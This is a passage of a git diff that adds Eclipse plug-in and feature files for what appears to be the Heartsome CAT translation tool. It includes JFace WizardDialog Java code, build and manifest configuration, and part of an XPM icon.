shows the first page. + */ + protected Control createContents(Composite parent) { + // Allow the wizard to add pages to itself + // Need to call this now so page count is correct + // for determining if next/previous buttons are needed + wizard.addPages(); + Control contents = super.createContents(parent); + // Allow the wizard pages to precreate their page controls + createPageControls(); + // Show the first page + showStartingPage(); + return contents; + } + + /* + * (non-Javadoc) Method declared on Dialog. + */ + protected Control createDialogArea(Composite parent) { + Composite composite = (Composite) super.createDialogArea(parent); + // Build the Page container + pageContainer = createPageContainer(composite); + GridData gd = new GridData(GridData.FILL_BOTH); + gd.widthHint = pageWidth; + gd.heightHint = pageHeight; + pageContainer.setLayoutData(gd); + pageContainer.setFont(parent.getFont()); + // Insert a progress monitor + progressMonitorPart= createProgressMonitorPart(composite, new GridLayout()); + GridData gridData = new GridData(GridData.FILL_HORIZONTAL); + progressMonitorPart.setLayoutData(gridData); + progressMonitorPart.setVisible(false); + // Build the separator line + Label separator = new Label(composite, SWT.HORIZONTAL | SWT.SEPARATOR); + separator.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + applyDialogFont(progressMonitorPart); + return composite; + } + + /** + * Hook method for subclasses to create a custom progress monitor part. + *

    + * The default implementation creates a progress monitor with a stop button will be created. + *

    + * + * @param composite the parent composite + * @param pmlayout the layout + * @return ProgressMonitorPart the progress monitor part + */ + protected ProgressMonitorPart createProgressMonitorPart( + Composite composite, GridLayout pmlayout) { + useCustomProgressMonitorPart= false; + return new ProgressMonitorPart(composite, pmlayout, true) { + String currentTask = null; + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.wizard.ProgressMonitorPart#setBlocked(org.eclipse.core.runtime.IStatus) + */ + public void setBlocked(IStatus reason) { + super.setBlocked(reason); + if (!lockedUI) { + getBlockedHandler().showBlocked(getShell(), this, reason, + currentTask); + } + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.wizard.ProgressMonitorPart#clearBlocked() + */ + public void clearBlocked() { + super.clearBlocked(); + if (!lockedUI) { + getBlockedHandler().clearBlocked(); + } + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.wizard.ProgressMonitorPart#beginTask(java.lang.String, + * int) + */ + public void beginTask(String name, int totalWork) { + super.beginTask(name, totalWork); + currentTask = name; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.wizard.ProgressMonitorPart#setTaskName(java.lang.String) + */ + public void setTaskName(String name) { + super.setTaskName(name); + currentTask = name; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.wizard.ProgressMonitorPart#subTask(java.lang.String) + */ + public void subTask(String name) { + super.subTask(name); + // If we haven't got anything yet use this value for more + // context + if (currentTask == null) { + currentTask = name; + } + } + }; + } + + /** + * Creates the container that holds all pages. + * + * @param parent + * @return Composite + */ + private Composite createPageContainer(Composite parent) { + Composite result = new Composite(parent, SWT.NULL); + result.setLayout(pageContainerLayout); + return result; + } + + /** + * Allow the wizard's pages to pre-create their page controls. This allows + * the wizard dialog to open to the correct size. + */ + private void createPageControls() { + // Allow the wizard pages to precreate their page controls + // This allows the wizard to open to the correct size + wizard.createPageControls(pageContainer); + // Ensure that all of the created pages are initially not visible + IWizardPage[] pages = wizard.getPages(); + for (int i = 0; i < pages.length; i++) { + IWizardPage page = pages[i]; + if (page.getControl() != null) { + page.getControl().setVisible(false); + } + } + } + + /** + * Creates the Previous and Next buttons for this wizard dialog. Creates + * standard (SWT.PUSH) buttons and registers for their + * selection events. Note that the number of columns in the button bar + * composite is incremented. These buttons are created specially to prevent + * any space between them. + * + * @param parent + * the parent button bar + * @return a composite containing the new buttons + */ + private Composite createPreviousAndNextButtons(Composite parent) { + // increment the number of columns in the button bar + ((GridLayout) parent.getLayout()).numColumns++; + Composite composite = new Composite(parent, SWT.NONE); + // create a layout with spacing and margins appropriate for the font + // size. + GridLayout layout = new GridLayout(); + layout.numColumns = 0; // will be incremented by createButton + layout.marginWidth = 0; + layout.marginHeight = 0; + layout.horizontalSpacing = 0; + layout.verticalSpacing = 0; + composite.setLayout(layout); + GridData data = new GridData(GridData.HORIZONTAL_ALIGN_CENTER + | GridData.VERTICAL_ALIGN_CENTER); + composite.setLayoutData(data); + composite.setFont(parent.getFont()); + backButton = createButton(composite, IDialogConstants.BACK_ID, + IDialogConstants.BACK_LABEL, false); + nextButton = createButton(composite, IDialogConstants.NEXT_ID, + IDialogConstants.NEXT_LABEL, false); + + // make sure screen readers skip visual '<', '>' chars on buttons: + final String backReaderText = IDialogConstants.BACK_LABEL.replace('<', ' '); + backButton.getAccessible().addAccessibleListener(new AccessibleAdapter() { + public void getName(AccessibleEvent e) { + e.result = backReaderText; + } + }); + final String nextReaderText = IDialogConstants.NEXT_LABEL.replace('>', ' '); + nextButton.getAccessible().addAccessibleListener(new AccessibleAdapter() { + public void getName(AccessibleEvent e) { + e.result = nextReaderText; + } + }); + return composite; + } + + /** + * Creates and return a new wizard closing dialog without opening it. + * + * @return MessageDalog + */ + private MessageDialog createWizardClosingDialog() { + MessageDialog result = new MessageDialog(getShell(), + JFaceResources.getString("WizardClosingDialog.title"), //$NON-NLS-1$ + null, + JFaceResources.getString("WizardClosingDialog.message"), //$NON-NLS-1$ + MessageDialog.QUESTION, + new String[] { IDialogConstants.OK_LABEL }, 0) { + protected int getShellStyle() { + return super.getShellStyle() | SWT.SHEET; + } + }; + return result; + } + + /** + * The Finish button has been pressed. + */ + protected void finishPressed() { + // Wizards are added to the nested wizards list in setWizard. + // This means that the current wizard is always the last wizard in the + // list. + // Note that we first call the current wizard directly (to give it a + // chance to + // abort, do work, and save state) then call the remaining n-1 wizards + // in the + // list (to save state). + if (wizard.performFinish()) { + // Call perform finish on outer wizards in the nested chain + // (to allow them to save state for example) + for (int i = 0; i < nestedWizards.size() - 1; i++) { + ((IWizard) nestedWizards.get(i)).performFinish(); + } + // Hard close the dialog. + setReturnCode(OK); + hardClose(); + } + } + + /* + * (non-Javadoc) Method declared on IWizardContainer. + */ + public IWizardPage getCurrentPage() { + return currentPage; + } + + /** + * Returns the progress monitor for this wizard dialog (if it has one). + * + * @return the progress monitor, or null if this wizard + * dialog does not have one + */ + protected IProgressMonitor getProgressMonitor() { + return progressMonitorPart; + } + + /** + * Returns the wizard this dialog is currently displaying. + * + * @return the current wizard + */ + protected IWizard getWizard() { + return wizard; + } + + /** + * Closes this window. + * + * @return true if the window is (or was already) closed, and + * false if it is still open + */ + private boolean hardClose() { + // inform wizards + for (int i = 0; i < createdWizards.size(); i++) { + IWizard createdWizard = (IWizard) createdWizards.get(i); + try { + createdWizard.dispose(); + } catch (Exception e) { + Status status = new Status(IStatus.ERROR, Policy.JFACE, IStatus.ERROR, e.getMessage(), e); + Policy.getLog().log(status); + } + // Remove this dialog as a parent from the managed wizard. + // Note that we do this after calling dispose as the wizard or + // its pages may need access to the container during + // dispose code + createdWizard.setContainer(null); + } + // see https://bugs.eclipse.org/bugs/show_bug.cgi?id=202534 + // disposing the wizards could cause the image currently set in + // this dialog to be disposed. A subsequent repaint event during + // close would then fail. To prevent this case, we null out the image. + setTitleImage(null); + return super.close(); + } + + /** + * The Help button has been pressed. + */ + protected void helpPressed() { + if (currentPage != null) { + currentPage.performHelp(); + } + } + + /** + * The Next button has been pressed. + */ + protected void nextPressed() { + IWizardPage page = currentPage.getNextPage(); + if (page == null) { + // something must have happened getting the next page + return; + } + + // show the next page + showPage(page); + } + + /** + * Notifies page changing listeners and returns result of page changing + * processing to the sender. + * + * @param eventType + * @return true if page changing listener completes + * successfully, false otherwise + */ + private boolean doPageChanging(IWizardPage targetPage) { + PageChangingEvent e = new PageChangingEvent(this, getCurrentPage(), + targetPage); + firePageChanging(e); + // Prevent navigation if necessary + return e.doit; + } + + /** + * Checks whether it is alright to close this wizard dialog and performed + * standard cancel processing. If there is a long running operation in + * progress, this method posts an alert message saying that the wizard + * cannot be closed. + * + * @return true if it is alright to close this dialog, and + * false if it is not + */ + private boolean okToClose() { + if (activeRunningOperations > 0) { + synchronized (this) { + windowClosingDialog = createWizardClosingDialog(); + } + windowClosingDialog.open(); + synchronized (this) { + windowClosingDialog = null; + } + return false; + } + return wizard.performCancel(); + } + + /** + * Restores the enabled/disabled state of the given control. + * + * @param w + * the control + * @param h + * the map (key type: String, element type: + * Boolean) + * @param key + * the key + * @see #saveEnableStateAndSet + */ + private void restoreEnableState(Control w, Map h, String key) { + if (w != null) { + Boolean b = (Boolean) h.get(key); + if (b != null) { + w.setEnabled(b.booleanValue()); + } + } + } + + /** + * Restores the enabled/disabled state of the wizard dialog's buttons and + * the tree of controls for the currently showing page. + * + * @param state + * a map containing the saved state as returned by + * saveUIState + * @see #saveUIState + */ + private void restoreUIState(Map state) { + restoreEnableState(backButton, state, "back"); //$NON-NLS-1$ + restoreEnableState(nextButton, state, "next"); //$NON-NLS-1$ + restoreEnableState(finishButton, state, "finish"); //$NON-NLS-1$ + restoreEnableState(cancelButton, state, "cancel"); //$NON-NLS-1$ + restoreEnableState(helpButton, state, "help"); //$NON-NLS-1$ + Object pageValue = state.get("page"); //$NON-NLS-1$ + if (pageValue != null) { + ((ControlEnableState) pageValue).restore(); + } + } + + /** + * This implementation of IRunnableContext#run(boolean, boolean, + * IRunnableWithProgress) blocks until the runnable has been run, regardless + * of the value of fork. It is recommended that + * fork is set to true in most cases. If fork + * is set to false, the runnable will run in the UI thread + * and it is the runnable's responsibility to call + * Display.readAndDispatch() to ensure UI responsiveness. + * + * UI state is saved prior to executing the long-running operation and is + * restored after the long-running operation completes executing. Any + * attempt to change the UI state of the wizard in the long-running + * operation will be nullified when original UI state is restored. + * + */ + public void run(boolean fork, boolean cancelable, + IRunnableWithProgress runnable) throws InvocationTargetException, + InterruptedException { + // The operation can only be canceled if it is executed in a separate + // thread. + // Otherwise the UI is blocked anyway. + Object state = null; + if (activeRunningOperations == 0) { + state = aboutToStart(fork && cancelable); + } + activeRunningOperations++; + try { + if (!fork) { + lockedUI = true; + } + ModalContext.run(runnable, fork, getProgressMonitor(), getShell() + .getDisplay()); + lockedUI = false; + } finally { + // explicitly invoke done() on our progress monitor so that its + // label does not spill over to the next invocation, see bug 271530 + if (getProgressMonitor() != null) { + getProgressMonitor().done(); + } + // Stop if this is the last one + if (state != null) { + timeWhenLastJobFinished= System.currentTimeMillis(); + stopped(state); + } + activeRunningOperations--; + } + } + + /** + * Saves the enabled/disabled state of the given control in the given map, + * which must be modifiable. + * + * @param w + * the control, or null if none + * @param h + * the map (key type: String, element type: + * Boolean) + * @param key + * the key + * @param enabled + * true to enable the control, and + * false to disable it + * @see #restoreEnableState(Control, Map, String) + */ + private void saveEnableStateAndSet(Control w, Map h, String key, + boolean enabled) { + if (w != null) { + h.put(key, w.getEnabled() ? Boolean.TRUE : Boolean.FALSE); + w.setEnabled(enabled); + } + } + + /** + * Captures and returns the enabled/disabled state of the wizard dialog's + * buttons and the tree of controls for the currently showing page. All + * these controls are disabled in the process, with the possible exception + * of the Cancel button. + * + * @param keepCancelEnabled + * true if the Cancel button should remain + * enabled, and false if it should be disabled + * @return a map containing the saved state suitable for restoring later + * with restoreUIState + * @see #restoreUIState + */ + private Map saveUIState(boolean keepCancelEnabled) { + Map savedState = new HashMap(10); + saveEnableStateAndSet(backButton, savedState, "back", false); //$NON-NLS-1$ + saveEnableStateAndSet(nextButton, savedState, "next", false); //$NON-NLS-1$ + saveEnableStateAndSet(finishButton, savedState, "finish", false); //$NON-NLS-1$ + saveEnableStateAndSet(cancelButton, savedState, "cancel", keepCancelEnabled); //$NON-NLS-1$ + saveEnableStateAndSet(helpButton, savedState, "help", false); //$NON-NLS-1$ + if (currentPage != null) { + savedState + .put( + "page", ControlEnableState.disable(currentPage.getControl())); //$NON-NLS-1$ + } + return savedState; + } + + /** + * Sets the given cursor for all shells currently active for this window's + * display. + * + * @param c + * the cursor + */ + private void setDisplayCursor(Cursor c) { + Shell[] shells = getShell().getDisplay().getShells(); + for (int i = 0; i < shells.length; i++) { + shells[i].setCursor(c); + } + } + + /** + * Sets the minimum page size used for the pages. + * + * @param minWidth + * the minimum page width + * @param minHeight + * the minimum page height + * @see #setMinimumPageSize(Point) + */ + public void setMinimumPageSize(int minWidth, int minHeight) { + Assert.isTrue(minWidth >= 0 && minHeight >= 0); + pageContainerLayout.minimumWidth = minWidth; + pageContainerLayout.minimumHeight = minHeight; + } + + /** + * Sets the minimum page size used for the pages. + * + * @param size + * the page size encoded as new Point(width,height) + * @see #setMinimumPageSize(int,int) + */ + public void setMinimumPageSize(Point size) { + setMinimumPageSize(size.x, size.y); + } + + /** + * Sets the size of all pages. The given size takes precedence over computed + * sizes. + * + * @param width + * the page width + * @param height + * the page height + * @see #setPageSize(Point) + */ + public void setPageSize(int width, int height) { + pageWidth = width; + pageHeight = height; + } + + /** + * Sets the size of all pages. The given size takes precedence over computed + * sizes. + * + * @param size + * the page size encoded as new Point(width,height) + * @see #setPageSize(int,int) + */ + public void setPageSize(Point size) { + setPageSize(size.x, size.y); + } + + /** + * Sets the wizard this dialog is currently displaying. + * + * @param newWizard + * the wizard + */ + protected void setWizard(IWizard newWizard) { + wizard = newWizard; + wizard.setContainer(this); + if (!createdWizards.contains(wizard)) { + createdWizards.add(wizard); + // New wizard so just add it to the end of our nested list + nestedWizards.add(wizard); + if (pageContainer != null) { + // Dialog is already open + // Allow the wizard pages to precreate their page controls + // This allows the wizard to open to the correct size + createPageControls(); + // Ensure the dialog is large enough for the wizard + updateSizeForWizard(wizard); + pageContainer.layout(true); + } + } else { + // We have already seen this wizard, if it is the previous wizard + // on the nested list then we assume we have gone back and remove + // the last wizard from the list + int size = nestedWizards.size(); + if (size >= 2 && nestedWizards.get(size - 2) == wizard) { + nestedWizards.remove(size - 1); + } else { + // Assume we are going forward to revisit a wizard + nestedWizards.add(wizard); + } + } + } + + /* + * (non-Javadoc) Method declared on IWizardContainer. + */ + public void showPage(IWizardPage page) { + if (page == null || page == currentPage) { + return; + } + + if (!isMovingToPreviousPage) { + // remember my previous page. + page.setPreviousPage(currentPage); + } else { + isMovingToPreviousPage = false; + } + + // If page changing evaluation unsuccessful, do not change the page + if (!doPageChanging(page)) + return; + + // Update for the new page in a busy cursor if possible + if (getContents() == null) { + updateForPage(page); + } else { + final IWizardPage finalPage = page; + BusyIndicator.showWhile(getContents().getDisplay(), new Runnable() { + public void run() { + updateForPage(finalPage); + } + }); + } + } + + /** + * Update the receiver for the new page. + * + * @param page + */ + private void updateForPage(IWizardPage page) { + // ensure this page belongs to the current wizard + if (wizard != page.getWizard()) { + setWizard(page.getWizard()); + } + // ensure that page control has been created + // (this allows lazy page control creation) + if (page.getControl() == null) { + page.createControl(pageContainer); + // the page is responsible for ensuring the created control is + // accessible via getControl. + Assert.isNotNull(page.getControl(), JFaceResources.format( + JFaceResources.getString("WizardDialog.missingSetControl"), //$NON-NLS-1$ + new Object[] { page.getName() })); + // ensure the dialog is large enough for this page + updateSize(page); + } + // make the new page visible + IWizardPage oldPage = currentPage; + currentPage = page; + + currentPage.setVisible(true); + if (oldPage != null) { + oldPage.setVisible(false); + } + // update the dialog controls + update(); + } + + /** + * Shows the starting page of the wizard. + */ + private void showStartingPage() { + currentPage = wizard.getStartingPage(); + if (currentPage == null) { + // something must have happened getting the page + return; + } + // ensure the page control has been created + if (currentPage.getControl() == null) { + currentPage.createControl(pageContainer); + // the page is responsible for ensuring the created control is + // accessible via getControl. + Assert.isNotNull(currentPage.getControl()); + // we do not need to update the size since the call + // to initialize bounds has not been made yet. + } + // make the new page visible + currentPage.setVisible(true); + // update the dialog controls + update(); + } + + /** + * A long running operation triggered through the wizard was stopped either + * by user input or by normal end. Hides the progress monitor and restores + * the enable state wizard's buttons and controls. + * + * @param savedState + * the saved UI state as returned by aboutToStart + * @see #aboutToStart + */ + private void stopped(Object savedState) { + if (getShell() != null && !getShell().isDisposed()) { + if (wizard.needsProgressMonitor()) { + progressMonitorPart.setVisible(false); + progressMonitorPart.removeFromCancelComponent(cancelButton); + } + Map state = (Map) savedState; + restoreUIState(state); + setDisplayCursor(null); + if (useCustomProgressMonitorPart) { + cancelButton.addSelectionListener(cancelListener); + cancelButton.setCursor(null); + arrowCursor.dispose(); + arrowCursor = null; + } + waitCursor.dispose(); + waitCursor = null; + Control focusControl = (Control) state.get(FOCUS_CONTROL); + if (focusControl != null && !focusControl.isDisposed()) { + focusControl.setFocus(); + } + } + } + + /** + * Updates this dialog's controls to reflect the current page. + */ + protected void update() { + // Update the window title + updateWindowTitle(); + // Update the title bar + updateTitleBar(); + // Update the buttons + updateButtons(); + + // Fires the page change event + firePageChanged(new PageChangedEvent(this, getCurrentPage())); + } + + /* + * (non-Javadoc) Method declared on IWizardContainer. + */ + public void updateButtons() { + boolean canFlipToNextPage = false; + boolean canFinish = wizard.canFinish(); + if (backButton != null) { + backButton.setEnabled(currentPage.getPreviousPage() != null); + } + if (nextButton != null) { + canFlipToNextPage = currentPage.canFlipToNextPage(); + nextButton.setEnabled(canFlipToNextPage); + } + finishButton.setEnabled(canFinish); + // finish is default unless it is disabled and next is enabled + if (canFlipToNextPage && !canFinish) { + getShell().setDefaultButton(nextButton); + } else { + getShell().setDefaultButton(finishButton); + } + } + + /** + * Update the message line with the page's description. + *

    + * A description is shown only if there is no message or error message. + *

    + */ + private void updateDescriptionMessage() { + pageDescription = currentPage.getDescription(); + setMessage(pageDescription); + } + + /* + * (non-Javadoc) Method declared on IWizardContainer. + */ + public void updateMessage() { + + if (currentPage == null) { + return; + } + + pageMessage = currentPage.getMessage(); + if (pageMessage != null && currentPage instanceof IMessageProvider) { + pageMessageType = ((IMessageProvider) currentPage).getMessageType(); + } else { + pageMessageType = IMessageProvider.NONE; + } + if (pageMessage == null) { + setMessage(pageDescription); + } else { + setMessage(pageMessage, pageMessageType); + } + setErrorMessage(currentPage.getErrorMessage()); + } + + /** + * Changes the shell size to the given size, ensuring that it is no larger + * than the display bounds. + * + * @param width + * the shell width + * @param height + * the shell height + */ + private void setShellSize(int width, int height) { + Rectangle size = getShell().getBounds(); + size.height = height; + size.width = width; + getShell().setBounds(getConstrainedShellBounds(size)); + } + + /** + * Computes the correct dialog size for the current page and resizes its shell if necessary. + * Also causes the container to refresh its layout. + * + * @param page the wizard page to use to resize the dialog + * @since 2.0 + */ + protected void updateSize(IWizardPage page) { + if (page == null || page.getControl() == null) { + return; + } + updateSizeForPage(page); + pageContainerLayout.layoutPage(page.getControl()); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.wizard.IWizardContainer2#updateSize() + */ + public void updateSize() { + updateSize(currentPage); + } + + /** + * Computes the correct dialog size for the given page and resizes its shell if necessary. + * + * @param page the wizard page + */ + private void updateSizeForPage(IWizardPage page) { + // ensure the page container is large enough + Point delta = calculatePageSizeDelta(page); + if (delta.x > 0 || delta.y > 0) { + // increase the size of the shell + Shell shell = getShell(); + Point shellSize = shell.getSize(); + setShellSize(shellSize.x + delta.x, shellSize.y + delta.y); + constrainShellSize(); + } + } + + /** + * Computes the correct dialog size for the given wizard and resizes its shell if necessary. + * + * @param sizingWizard the wizard + */ + private void updateSizeForWizard(IWizard sizingWizard) { + Point delta = new Point(0, 0); + IWizardPage[] pages = sizingWizard.getPages(); + for (int i = 0; i < pages.length; i++) { + // ensure the page container is large enough + Point pageDelta = calculatePageSizeDelta(pages[i]); + delta.x = Math.max(delta.x, pageDelta.x); + delta.y = Math.max(delta.y, pageDelta.y); + } + if (delta.x > 0 || delta.y > 0) { + // increase the size of the shell + Shell shell = getShell(); + Point shellSize = shell.getSize(); + setShellSize(shellSize.x + delta.x, shellSize.y + delta.y); + } + } + + /* + * (non-Javadoc) Method declared on IWizardContainer. + */ + public void updateTitleBar() { + String s = null; + if (currentPage != null) { + s = currentPage.getTitle(); + } + if (s == null) { + s = ""; //$NON-NLS-1$ + } + setTitle(s); + if (currentPage != null) { + setTitleImage(currentPage.getImage()); + updateDescriptionMessage(); + } + updateMessage(); + } + + /* + * (non-Javadoc) Method declared on IWizardContainer. + */ + public void updateWindowTitle() { + if (getShell() == null) { + // Not created yet + return; + } + String title = wizard.getWindowTitle(); + if (title == null) { + title = ""; //$NON-NLS-1$ + } + getShell().setText(title); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.dialogs.IPageChangeProvider#getSelectedPage() + */ + public Object getSelectedPage() { + return getCurrentPage(); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.dialog.IPageChangeProvider#addPageChangedListener() + */ + public void addPageChangedListener(IPageChangedListener listener) { + pageChangedListeners.add(listener); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.dialog.IPageChangeProvider#removePageChangedListener() + */ + public void removePageChangedListener(IPageChangedListener listener) { + pageChangedListeners.remove(listener); + } + + /** + * Notifies any selection changed listeners that the selected page has + * changed. Only listeners registered at the time this method is called are + * notified. + * + * @param event + * a selection changed event + * + * @see IPageChangedListener#pageChanged + * + * @since 3.1 + */ + protected void firePageChanged(final PageChangedEvent event) { + Object[] listeners = pageChangedListeners.getListeners(); + for (int i = 0; i < listeners.length; ++i) { + final IPageChangedListener l = (IPageChangedListener) listeners[i]; + SafeRunnable.run(new SafeRunnable() { + public void run() { + l.pageChanged(event); + } + }); + } + } + + /** + * Adds a listener for page changes to the list of page changing listeners + * registered for this dialog. Has no effect if an identical listener is + * already registered. + * + * @param listener + * a page changing listener + * @since 3.3 + */ + public void addPageChangingListener(IPageChangingListener listener) { + pageChangingListeners.add(listener); + } + + /** + * Removes the provided page changing listener from the list of page + * changing listeners registered for the dialog. + * + * @param listener + * a page changing listener + * @since 3.3 + */ + public void removePageChangingListener(IPageChangingListener listener) { + pageChangingListeners.remove(listener); + } + + /** + * Notifies any page changing listeners that the currently selected dialog + * page is changing. Only listeners registered at the time this method is + * called are notified. + * + * @param event + * a selection changing event + * + * @see IPageChangingListener#handlePageChanging(PageChangingEvent) + * @since 3.3 + */ + protected void firePageChanging(final PageChangingEvent event) { + Object[] listeners = pageChangingListeners.getListeners(); + for (int i = 0; i < listeners.length; ++i) { + final IPageChangingListener l = (IPageChangingListener) listeners[i]; + SafeRunnable.run(new SafeRunnable() { + public void run() { + l.handlePageChanging(event); + } + }); + } + } +} diff --git a/base_commons/net.heartsome.cat.resource.feature/.project b/base_commons/net.heartsome.cat.resource.feature/.project new file mode 100644 index 0000000..28b07b3 --- /dev/null +++ b/base_commons/net.heartsome.cat.resource.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.resource.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/base_commons/net.heartsome.cat.resource.feature/build.properties b/base_commons/net.heartsome.cat.resource.feature/build.properties new file mode 100644 index 0000000..3b8a221 --- /dev/null +++ b/base_commons/net.heartsome.cat.resource.feature/build.properties @@ -0,0 +1,2 @@ +javacDefaultEncoding.. = UTF-8 +bin.includes = feature.xml diff --git a/base_commons/net.heartsome.cat.resource.feature/feature.xml b/base_commons/net.heartsome.cat.resource.feature/feature.xml new file mode 100644 index 0000000..d41b48a --- /dev/null +++ b/base_commons/net.heartsome.cat.resource.feature/feature.xml @@ -0,0 +1,346 @@ + + + + + Heartsome CAT Resource + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_plugins/de.jaret.util.ui.table/.classpath b/base_plugins/de.jaret.util.ui.table/.classpath new file mode 100644 index 0000000..def7692 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/.classpath @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/base_plugins/de.jaret.util.ui.table/.gitignore b/base_plugins/de.jaret.util.ui.table/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/base_plugins/de.jaret.util.ui.table/.project b/base_plugins/de.jaret.util.ui.table/.project new file mode 100644 index 0000000..bf30cef --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/.project @@ -0,0 +1,34 @@ + + + de.jaret.util.ui.table + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + net.sf.eclipsecs.core.CheckstyleBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + net.sf.eclipsecs.core.CheckstyleNature + + diff --git a/base_plugins/de.jaret.util.ui.table/.settings/org.eclipse.jdt.core.prefs b/base_plugins/de.jaret.util.ui.table/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_plugins/de.jaret.util.ui.table/META-INF/MANIFEST.MF b/base_plugins/de.jaret.util.ui.table/META-INF/MANIFEST.MF new file mode 100644 index 0000000..e1a9281 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/META-INF/MANIFEST.MF @@ -0,0 +1,26 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Jarettable Plug-in +Bundle-SymbolicName: de.jaret.util.ui.table +Bundle-Version: 0.85.0.R8b_v20121203 +Bundle-ClassPath: ., + lib/datechooser-1.01.jar, + lib/jaretutil-0.32.jar +Bundle-Vendor: jaret.de +Bundle-Localization: plugin +Require-Bundle: org.eclipse.core.runtime, + org.eclipse.jface, + org.eclipse.swt +Export-Package: de.jaret.util.misc, + de.jaret.util.swt, + de.jaret.util.ui, + de.jaret.util.ui.table, + de.jaret.util.ui.table.editor, + de.jaret.util.ui.table.model, + de.jaret.util.ui.table.model.simple, + de.jaret.util.ui.table.print, + de.jaret.util.ui.table.renderer, + de.jaret.util.ui.table.strategies, + de.jaret.util.ui.table.util, + de.jaret.util.ui.table.util.action +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/base_plugins/de.jaret.util.ui.table/build.properties b/base_plugins/de.jaret.util.ui.table/build.properties new file mode 100644 index 0000000..62ff9d7 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/build.properties @@ -0,0 +1,7 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + lib/datechooser-1.01.jar,\ + lib/jaretutil-0.32.jar diff --git a/base_plugins/de.jaret.util.ui.table/icons/alt_about.gif b/base_plugins/de.jaret.util.ui.table/icons/alt_about.gif new file mode 100644 index 0000000..20d9ad2 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/icons/alt_about.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/icons/alt_launcher.icns b/base_plugins/de.jaret.util.ui.table/icons/alt_launcher.icns new file mode 100644 index 0000000..b77a6a6 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/icons/alt_launcher.icns differ diff --git a/base_plugins/de.jaret.util.ui.table/icons/alt_launcher.ico b/base_plugins/de.jaret.util.ui.table/icons/alt_launcher.ico new file mode 100644 index 0000000..d548f71 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/icons/alt_launcher.ico differ diff --git a/base_plugins/de.jaret.util.ui.table/icons/alt_launcher.xpm b/base_plugins/de.jaret.util.ui.table/icons/alt_launcher.xpm new file mode 100644 index 0000000..b0c139e --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/icons/alt_launcher.xpm @@ -0,0 +1,307 @@ +/* XPM */ +static char * icon48_xpm[] = { +"48 48 256 2", +" c #4B4B3B3B9090", +". c #0D0D0E0E5454", +"X c #11110E0E5B5B", +"o c #17170F0F6363", +"O c #1D1D13136969", +"+ c #212114146C6C", +"@ c #252514147171", +"# c #282811116C6C", +"$ c #26260D0D6363", +"% c #22220B0B5E5E", +"& c #1C1C0B0B5A5A", +"* c #1C1C0B0B5252", +"= c #1B1B05055353", +"- c #161606064D4D", +"; c #161605054949", +": c #111104044848", +"> c #131304044545", +", c #131305054242", +"< c #141410105E5E", +"1 c #2C2C15157373", +"2 c #2B2B1B1B7575", +"3 c #343416167272", +"4 c #313113136E6E", +"5 c #222209095757", +"6 c #1B1B06064D4D", +"7 c #15150B0B4242", +"8 c #13130C0C5555", +"9 c #2E2E1B1B7878", +"0 c #33331F1F7C7C", +"q c #343418187878", +"w c #3B3B1C1C7575", +"e c #2E2E10106767", +"r c #1B1B07074747", +"t c #18180B0B4646", +"y c #151513136262", +"u c #1A1A15156464", +"i c #34341F1F7777", +"p c #40401E1E8080", +"a c #42421B1B7A7A", +"s c #3B3B15157474", +"d c #2B2B0B0B5B5B", +"f c #222207075252", +"g c #373727277A7A", +"h c #474724248484", +"j c #393915156E6E", +"k c #373711116A6A", +"l c #343413136363", +"z c #232319196E6E", +"x c #292919197070", +"c c #3C3C2C2C8282", +"v c #444431318585", +"b c #494934348A8A", +"n c #505026268A8A", +"m c #3D3D1B1B6E6E", +"M c #31310E0E5C5C", +"N c #2B2B0D0D5353", +"B c #222207074A4A", +"V c #52523C3C9292", +"C c #58583C3C9494", +"Z c #5D5D44449797", +"A c 